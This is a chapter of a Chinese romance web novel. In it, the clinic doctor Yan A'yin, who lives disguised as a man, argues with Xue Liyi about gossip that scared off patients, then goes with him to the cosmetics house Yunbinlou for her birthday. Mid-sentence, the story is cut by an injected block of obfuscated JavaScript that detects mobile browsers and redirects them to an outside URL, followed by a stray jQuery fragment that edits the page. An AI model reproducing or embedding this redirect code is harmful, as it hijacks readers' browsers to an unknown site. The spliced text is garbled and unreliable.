一场秋雨一场寒,雨淅淅沥沥地下了好几日,度堰河面上的波澜也便泛了好几日。
晏阿音坐在医馆里的桌子旁,惆怅地托着脸颊。
时不时叹口气,萎靡不振的。
薛荔衣正从她身边经过,去隔壁屋子拿东西,见状,步伐一顿,瞥她一眼道:“你这是做什么?”
晏阿音没动弹,声音有气无力地飘过来:“你没看见咱们医馆这几日都没人上门看病了么?我们都要没银子开锅了,再这样下去可不行啊……”说到一半,又纳闷地思索起来,“奇了怪了,就连老是风湿骨痛的徐大娘都没过来了,按道理她每隔一段时间都该过来拿药的。”
晏阿音百思不得其解,又忧愁地长叹了口气。
没多久,目光忽而一变,扭头瞪着薛荔衣,眼中即将要喷出的火光如有实质。
薛荔衣无辜道:“你这样看我做什么?”
晏阿音道:“我想起来了。”
“想起来什么?”
晏阿音咬牙切齿道:“大家伙儿一定是那日被你吓坏了,所以不敢来了。”
薛荔衣挑眉道:“我生得这么风流倜傥,怎会被我吓坏?”
“你还好意思说!要不是那日你、你你……”
要不是那日薛荔衣当着所有人的面故意做出一副和她暧昧不清的模样,大家伙儿怎会被吓跑?那日来看病问诊的大爷大娘又是爱传话的,恐怕如今附近十里八乡都知道度堰河附近晏家医馆的晏大夫是个金屋藏娇的断袖了!
薛荔衣似乎有些好心没好报的神色,委屈道:“可那日我是为了帮你。”
胡扯。晏阿音瞪目道:“你这叫帮我?”
薛荔衣闲闲地说道:“那日若不是我出来,打断了那小姑娘对你的绮思遐念,恐怕人家就要芳心错付走上一条不归路了呢……”
晏阿音惊呆了。
“啊?”
什么小姑娘,什么芳心错付,她怎么不知道。
薛荔衣瞧着她呆呆的模样,心道这一个七情六欲毫不开窍的小傻子,面上倒没什么表露,只嗤了声道:“你没发现那小姑娘坐你跟前看诊的时候,脸都要红成猴屁股了?你们大夫不是讲究望闻问切吗,你连望都望不出来么?”
晏阿音呆了又呆,她发觉了啊,但那时她只以为小姑娘有些发热,还准备在药方子里加点驱热清心的药材。
原来,小姑娘脸红竟是因为这个?
某人风中凌乱了。
薛荔衣见她终于明白了,闲闲地撇开头道:“我可是帮你打消人家小姑娘的念头,是替你省却了之后的麻烦,如今你居然来怪我?”
晏阿音觉得这话好像很对,又好像不对。
但哪里不对,她说不出来。
没多久,晏阿音反应过来,中气不足地辩解道:“你、你既然要帮我,可以选其他的法子嘛,比如……比如单独与那小姑娘说一说,解释清楚便是了。为何要在所有人面前和我做出很、很熟的模样?叫人误会。”
“误会?误会什么?”
薛荔衣脚下忽地调转方向,一步步朝她走去。
晏阿音被他逐渐逼近的身影骇得往后倒去,“你你你做什么……”
薛荔衣走到她面前,俯下身,近距离地盯着她的眼睛。
“他们误会什么了?误会我们很熟?这是误会吗?呵,原来,你打心里觉得你和我不熟,是吗?”
晏阿音僵硬了一瞬。
不是,怎么回事……他怎么越说越悲愤了,悲愤的不应该是她吗?
却仍是害怕薛荔衣发难,忙道:“没、没有啊。”
薛荔衣虽然没动,也没什么表情,可冷淡的目光却如有实质,不咸不淡地从她的眉眼间扫过,继而是她的鼻梁,再往下,是紧抿着的嘴唇。
那唇嫣红,还带着健康的光泽,齿轻轻咬着下唇,是内心紧张拘束的自动流露。
晏阿音见薛荔衣如此近距离地沉沉盯着自己,一动不动,竟叫她生出覆天盖地的压迫与害怕来,忙着急地一把推开他,从椅子上起身,跑开了。
椅子空了,薛荔衣倒也没去追,只是随意地站起身,站在原地,侧头去看门外连绵不绝的小雨。
雨丝淅淅沥沥,轻轻打在墨黑的瓦片上,汇聚成小小的溪流而下。
*
到了傍晚,连绵的雨终于停了,久违的晚霞挂在天边,空气中飘散着雨后清新微凉的气息。
大安做好了晚饭,薛荔衣去晏阿音房间里叫她出来吃饭。
房门外,薛荔衣道:“吃饭。”
晏阿音瓮声瓮气的声音透过门板传过来:“不想吃。”
薛荔衣只是又重复了一遍:“出来吃饭。”
晏阿音以为他听不见,便加大了声音回道:“我不想吃,今晚你们自己吃吧。”
薛荔衣闲闲地道:“你若再不出来,我可就要破门了。门板若坏了,你可别哭。”
“……”
门开了。
晏阿音出现,瞪圆了眼睛,盯着他:“你这个无法无天的嚣张之徒!”
薛荔衣瞧着她:“你说得对,我本就是个嚣张之徒。你认识我这么久,如今才知道?”
晏阿音气不打一处来:“你!”
真是无赖。
晏阿音气呼呼地摔开门,绕过薛荔衣大步往厨房走去。
饭桌上,大安扭头瞅着窗户外绚丽的晚霞,兴致勃勃地问道:“大哥,薛兄弟,今晚应该不下雨了,要不要出门买点好吃的回来?”
晏阿音一边闷头往嘴里扒拉饭,一边道:“随便。”
薛荔衣道:“可以,我和你大哥出去,回来给你带好吃的。”
大安喜出望外。
“太好了,薛兄弟,还是你好。”
还是薛兄弟好啊,每次回来都给他好东西吃,他要追随薛兄弟一万年。
不对。
大哥排第一,薛兄弟排第二。
嗯,他要追随大哥和薛兄弟一万年。
大安郑重地点点头,美滋滋地抱起碗继续吃饭了。
晏阿音闻言,警觉抬头,瞪薛荔衣:“谁说我要和你出去了?你要出门,自己出门去。”
薛荔衣悠悠道:“哎,真是枉费我和大安那日晚上出去给你买白玉甜糕了。”
晏阿音一呆。
什么。
甜糕是大安和薛荔衣一起出去买的?
她那日还以为是大安买的,原来,薛荔衣也去了?
晏阿音忽然有些
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15940470|177329||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
心虚,“哦”一声拖的长长的,半晌,只好不情不愿地道:“那好吧,出门就出门。”
吃完晚饭,大安留在家里收拾,晏阿音和薛荔衣出了门,去了镇上。
雨停了,街道的路面依旧湿润,风中带着凉意,吹得头顶的灯笼不停转悠。因停了雨,不少闭门谢客的店铺都陆续打开门做生意,路上逐渐热闹起来,人潮也渐密了。
晏阿音好几日不曾出来,今日晚上出来走一走,心情都好了很多。
他们在街上一处停下时,迎面恰好吹来一阵清冽的晚风,晏阿音惬意地闭上眼睛,仰头感受着空气中沁人心脾的凉意。
薛荔衣笑了下,说道:“走吧,带你去云鬓楼。”
晏阿音没听清:“啊,什么?”
薛荔衣盯着她悠悠道,“云鬓楼。”
“哦,云鬓楼。”
晏阿音突然回过神,悚然一惊:“什么,云鬓楼!不是,薛荔衣,你要去那儿做什么?你没得是想去那儿找女人吧?我才不去,你要去自己去!”
晏阿音头发都要竖起来了,扭头就走。
薛荔衣无语地扯着她头上的男子发髻,把她拎了回来。
“我什么时候说要去云鬓楼找女人了?”
他语带好笑。
晏阿音仍旧是眼睛睁大:“你若不是找女人,去那种地方做什么?”
薛荔衣这时方明白,她是误会了,她将梳妆打扮的云鬓楼,错认成是那种胭脂红粉之地了。
他挑眉笑:“带你去云鬓楼,和我没关系,却和你有关系。”
晏阿音纳闷:“和我有关系?”
薛荔衣道:“走吧。”
晏阿音一头雾水,却也只能跟着他走,待走过两条街,站在那层楼叠榭、画栋朱帘的云鬓楼大门外时,某人傻眼了。
晏阿音仰着头,觉得腿肚子都有点抖。
她可一分钱都没有。
这种地方,是她能进的吗!
晏阿音扭头就走。
又被薛荔衣拎回来。
“走什么?”
晏阿音指着他:“你你、你这是要害我!”
薛荔衣扬眉:“我怎么就要害你了?”
晏阿音悲愤欲绝:“你让我进这种地方买东西啊?买了东西没银子付,我可就要卖身给人家干活了!”
薛荔衣笑道:“我什么时候说要让你付钱了?”
啊。
不是吗。
晏阿音呆呆地道:“那,你付钱吗?”
“对啊。”薛荔衣懒洋洋道,“今日不是你生辰么?你生辰及笈,是个重要的日子。我请你来此处花钱,不可以么?”
晏阿音狐疑地瞅着他:“你有银子么?”
薛荔衣嗤笑:“这你就别管了,反正不会让你卖身干活的。”
晏阿音想了想,觉得自己被说服了。
若没银子付钱,把薛荔衣卖了就卖了吧,反正他那么聒噪。
如此想着,晏阿音便也多了几分底气。
说不定里头的老板看薛荔衣长得有几分姿色,还多抵些钱呢。
晏阿音喜滋滋地走进了云鬓楼。
薛荔衣自然知道她心里想的是什么,无奈一瞬,倒是也跟了进去。